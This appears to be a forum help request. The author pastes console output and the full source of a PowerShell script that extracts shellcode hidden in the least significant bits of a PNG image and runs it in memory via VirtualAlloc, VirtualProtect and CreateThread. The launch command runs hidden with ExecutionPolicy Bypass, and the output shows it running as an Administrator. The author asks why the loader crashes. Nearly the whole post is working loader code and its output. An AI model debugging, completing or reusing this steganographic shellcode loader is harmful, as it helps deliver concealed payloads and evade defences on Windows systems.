I attempted to execute the binary hidden within the image, but unfortunately, the process crashed immediately. Thank you in advance for your help.

cmd.exe /c powershell.exe -ExecutionPolicy ByPass -WindowStyle Hidden .img2Exec.ps1 LazyOwnGris3_incrusted.png 4
Ejecutando script como: SEQUELAdministrator
Directorio actual: C:UsersAdministratorDocuments
Procesando imagen: C:UsersAdministratorDocumentsLazyOwnGris3_incrusted.png
TamaAño del archivo: 807268 bytes
Total de bits extraA-dos: 807268
Bytes necesarios: 100909
PatrA3n de shellcode encontrado en offset: 30632
TamaAño del shellcode: 70277 bytes
Shellcode guardado en: C:UsersAdministratorAppDataLocalTemptmpE924.tmp
Estado inicial del proceso PowerShell:
PID: 1140 con 16 threads

Threads iniciales:

Id StartTime ThreadState

6504 1/14/2025 7:08:24 PM Wait
4236 1/14/2025 7:08:24 PM Wait
1156 1/14/2025 7:08:24 PM Wait
4344 1/14/2025 7:08:24 PM Wait
5188 1/14/2025 7:08:24 PM Wait
2160 1/14/2025 7:08:24 PM Wait
5696 1/14/2025 7:08:24 PM Wait
1028 1/14/2025 7:08:24 PM Wait
5856 1/14/2025 7:08:24 PM Wait
4108 1/14/2025 7:08:24 PM Wait
1912 1/14/2025 7:08:24 PM Wait
6692 1/14/2025 7:08:24 PM Running
6700 1/14/2025 7:08:25 PM Wait
4612 1/14/2025 7:08:56 PM Wait
6528 1/14/2025 7:08:56 PM Wait
5440 1/14/2025 7:08:56 PM Wait

Preparando ejecuciA3n…
Memoria asignada en: 1995711119360
Iniciando ejecuciA3n…
Process ID actual: 1140

Id ProcessName Threads

1140 powershell {6504, 4236, 1156, 4344…}

Creando nuevo thread…
Thread creado con ID: 5744 en proceso: 1140
Esperando ejecuciA3n del thread…

Estado actual del proceso despuAcs de crear thread:

the code:

Add-Type -AssemblyName System.Drawing

function Extract-LSB {
    param (
        [byte]$byte
    )
    return $byte -band 1
}

function imagen_a_binario {
    param (
        [string]$imagen_input,
        [int]$block_size = 4
    )

    try {
        $rutaAbsoluta = Convert-Path -Path $imagen_input -ErrorAction Stop
        Write-Host "Procesando imagen: $rutaAbsoluta"

        # Leer la imagen como bytes
        $imageBytes = [System.IO.File]::ReadAllBytes($rutaAbsoluta)
        Write-Host "Tamaño del archivo: $($imageBytes.Length) bytes"

        # Extraer LSB de cada byte
        $bits = New-Object System.Collections.BitArray($imageBytes.Length)
        $bitIndex = 0
        
        foreach ($byte in $imageBytes) {
            $bits[$bitIndex] = Extract-LSB $byte
            $bitIndex++
        }

        # Logging para diagnóstico
        Write-Host "Total de bits extraídos: $($bits.Length)"
        Write-Host "Bytes necesarios: $([Math]::Ceiling($bits.Length / 8))"

        # Convertir bits a bytes - FIXED
        $resultBytes = New-Object byte[] ([Math]::Ceiling($bits.Length / 8))
        
        # Validación adicional
        if ($bits.Length -gt ($resultBytes.Length * 8)) {
            Write-Host "Ajustando tamaño de bits al tamaño del array de bytes"
            $bits.Length = $resultBytes.Length * 8
        }
        
        try {
            $bits.CopyTo($resultBytes, 0)
        }
        catch {
            Write-Error "Error en la conversión de bits a bytes: $_"
            throw
        }

        # Buscar patrones comunes de shellcode
        $patterns = @(
            # Patrones comunes de shellcode x64
            [byte[]]@(0x48, 0x31, 0xc9),   # xor rcx, rcx
            [byte[]]@(0x48, 0x89, 0xe5),   # mov rbp, rsp
            [byte[]]@(0x48, 0x83, 0xec),   # sub rsp, XX
            # Patrones comunes de shellcode x86
            [byte[]]@(0x31, 0xc0),         # xor eax, eax
            [byte[]]@(0x89, 0xe5),         # mov ebp, esp
            [byte[]]@(0x83, 0xec)          # sub esp, XX
        )

        $startIndex = -1
        foreach ($pattern in $patterns) {
            for ($i = 0; $i -lt $resultBytes.Length - $pattern.Length; $i++) {
                $found = $true
                for ($j = 0; $j -lt $pattern.Length; $j++) {
                    if ($resultBytes[$i + $j] -ne $pattern[$j]) {
                        $found = $false
                        break
                    }
                }
                if ($found) {
                    $startIndex = $i
                    Write-Host "Patrón de shellcode encontrado en offset: $startIndex"
                    break
                }
            }
            if ($startIndex -ne -1) { break }
        }

        if ($startIndex -eq -1) {
            Write-Host "No se encontró patrón de shellcode, usando datos completos"
            $startIndex = 0
        }

        # Extraer el shellcode
        $shellcode = $resultBytes[$startIndex..($resultBytes.Length-1)]
        Write-Host "Tamaño del shellcode: $($shellcode.Length) bytes"

        # Guardar para diagnóstico
        $temp_file = [System.IO.Path]::GetTempFileName()
        [System.IO.File]::WriteAllBytes($temp_file, $shellcode)
        Write-Host "Shellcode guardado en: $temp_file"

        return $shellcode
    }
    catch {
        Write-Error "Error procesando la imagen: $_"
        throw
    }
}

function ejecutar_binario_desde_memoria {
    param (
        [byte[]]$byte_data
    )

    try {
        Write-Host "Estado inicial del proceso PowerShell:"
        $initialProcess = Get-Process -Id $PID
        Write-Host "PID: $PID con $($initialProcess.Threads.Count) threads"
        
        Write-Host "`nThreads iniciales:"
        $initialProcess.Threads | Format-Table Id, StartTime, ThreadState -AutoSize

        $WinAPI = Add-Type -TypeDefinition @"
        using System;
        using System.Runtime.InteropServices;

        public class WinAPI {
            [DllImport("kernel32.dll")]
            public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

            [DllImport("kernel32.dll")]
            public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

            [DllImport("kernel32.dll")]
            public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

            [DllImport("kernel32.dll")]
            public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
        }
"@ -PassThru

        Write-Host "Preparando ejecución..."

        # Asignar memoria con permisos RW
        $size = [uint32]$byte_data.Length
        $addr = $WinAPI::VirtualAlloc(
            [IntPtr]::Zero, 
            $size, 
            0x1000, # MEM_COMMIT
            0x04    # PAGE_READWRITE
        )

        if ($addr -eq [IntPtr]::Zero) {
            throw "Error al asignar memoria"
        }

        Write-Host "Memoria asignada en: $addr"

        # Copiar shellcode
        [System.Runtime.InteropServices.Marshal]::Copy($byte_data, 0, $addr, $byte_data.Length)

        # Cambiar permisos a RX
        $oldProtect = 0
        $result = $WinAPI::VirtualProtect($addr, $size, 0x20, [ref]$oldProtect) # PAGE_EXECUTE_READ
        if (-not $result) {
            throw "Error al cambiar permisos de memoria"
        }

        Write-Host "Iniciando ejecución..."
        Write-Host "Process ID actual: $PID"
        Get-Process -Id $PID | Format-Table Id, ProcessName, Threads

        Write-Host "`nCreando nuevo thread..."
        $threadId = 0
        $threadHandle = $WinAPI::CreateThread([IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$threadId)

        if ($threadHandle -eq [IntPtr]::Zero) {
            throw "Error al crear thread"
        }

        Write-Host "Thread creado con ID: $threadId en proceso: $PID"
        Start-Sleep -Seconds 2
        Write-Host "Esperando ejecución del thread..."

        Write-Host "`nEstado actual del proceso después de crear thread:"
        $currentProcess = Get-Process -Id $PID
        Write-Host "Threads actuales: $($currentProcess.Threads.Count)"
        $currentProcess.Threads | Format-Table Id, StartTime, ThreadState -AutoSize

        Write-Host "Esperando ejecución (30 segundos)..."
        $result = $WinAPI::WaitForSingleObject($threadHandle, 30000)
        
        # Verificar resultado
        $status = switch ($result) {
            0 { "COMPLETADO" }
            258 { "TIMEOUT" }
            default { "ERROR: $result" }
        }
        Write-Host "`nResultado de la ejecución: $status"
        
        Write-Host "`nEstado final del proceso:"
        $finalProcess = Get-Process -Id $PID
        $finalProcess.Threads | Format-Table Id, StartTime, ThreadState -AutoSize
        
        # Mostrar uso de CPU y memoria
        Write-Host "`nEstadísticas del proceso:"
        $finalProcess | Format-Table Id, CPU, WorkingSet, PrivateMemorySize -AutoSize
        $waitResult = $WinAPI::WaitForSingleObject($threadHandle, 30000) 
        switch ($waitResult) {
            0 { Write-Host "Thread completado exitosamente" }
            258 { Write-Host "Thread timeout - posible ejecución más larga de lo esperado" }
            default { Write-Host "Thread terminó con estado: $waitResult" }
        }
        Write-Host "Estado final de threads:"
        Get-Process -Id $PID | Select-Object -ExpandProperty Threads | Format-Table Id, ThreadState
    }
    catch {
        Write-Error "Error ejecutando el binario: $_"
        throw
    }
}

function main {
    param (
        [Parameter(Mandatory=$true)]
        [string]$imagen_input,
        
        [Parameter(Mandatory=$false)]
        [int]$block_size = 4
    )

    try {
        Write-Host "Ejecutando script como: $([System.Security.Principal.WindowsIdentity]::GetCurrent().Name)"
        Write-Host "Directorio actual: $(Get-Location)"
        
        $shellcode = imagen_a_binario -imagen_input $imagen_input -block_size $block_size
        ejecutar_binario_desde_memoria -byte_data $shellcode
    }
    catch {
        Write-Error "Error en la ejecución principal: $_"
        exit 1
    }
}

# Ejecutar script
if ($args.Length -gt 0) {
    main -imagen_input $args[0] -block_size $(if ($args.Length -gt 1) { [int]$args[1] } else { 4 })
}
else {
    Write-Output "Uso: .script.ps1 <imagen_input> [block_size]"
    exit 1
}

thanks in advance

and sorry my bad english